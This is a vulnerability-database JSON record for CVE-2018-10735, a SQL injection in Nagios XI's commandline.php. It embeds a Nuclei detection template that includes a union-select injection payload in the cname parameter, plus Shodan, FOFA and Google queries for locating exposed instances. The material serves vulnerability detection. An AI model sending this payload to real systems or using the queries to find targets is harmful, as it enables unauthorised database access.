{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2018-10735/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2018-10735/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2018-10735/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2018-10735/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2018-10735/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2018-10735"},"sightings":{"href":"/api/v1/sightings/cve-2018-10735"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2018/CVE-2018-10735.yaml","nuclei_template_severity":"high","nuclei_template_yaml":"id: CVE-2018-10735\n\ninfo:\n  name: NagiosXI <= 5.4.12 `commandline.php` SQL injection\n  author: DhiyaneshDk\n  severity: high\n  description: |\n    A SQL injection issue was discovered in Nagios XI before 5.4.13 via the admin/commandline.php cname parameter.\n  impact: |\n    Authenticated administrators can execute arbitrary SQL commands to access, modify, or delete database contents, potentially compromising the entire Nagios XI instance.\n  remediation: |\n    Upgrade to Nagios XI version 5.4.13 or later.\n  reference:\n    - https://vulners.com/seebug/SSV:97266\n    - https://github.com/chaitin/xray/blob/master/pocs/nagio-cve-2018-10735.yml\n  classification:\n    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 7.2\n    cve-id: CVE-2018-10735\n    cwe-id: CWE-89\n    epss-score: 0.41436\n    epss-percentile: 0.9868\n    cpe: cpe:2.3:a:nagios:nagios_xi:*:*:*:*:*:*:*:*\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: nagios\n    product: nagios_xi\n    shodan-query: http.title:\"nagios xi\"\n    fofa-query:\n      - app=\"Nagios-XI\"\n      - title=\"nagios xi\"\n      - app=\"nagios-xi\"\n    google-query: intitle:\"nagios xi\"\n  tags: cve,cve2018,nagios,sqli,vuln,vkev\nvariables:\n  num: \"{{rand_int(2000000000, 2100000000)}}\"\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/nagiosql/admin/commandline.php?cname=%27%20union%20select%20concat(md5({{num}}))%23\"\n\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"{{md5(num)}}\"\n# digest: 490a0046304402205537cf5dbb4b62d92edcc7d11d73d2670d2ce8ec7216c73a03cfbc65dc4b920002203beee4faaca4abe3394ffbaf1c286b785d0f605e7ba9c7fafe6338e421f37fa8:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2018-10735"}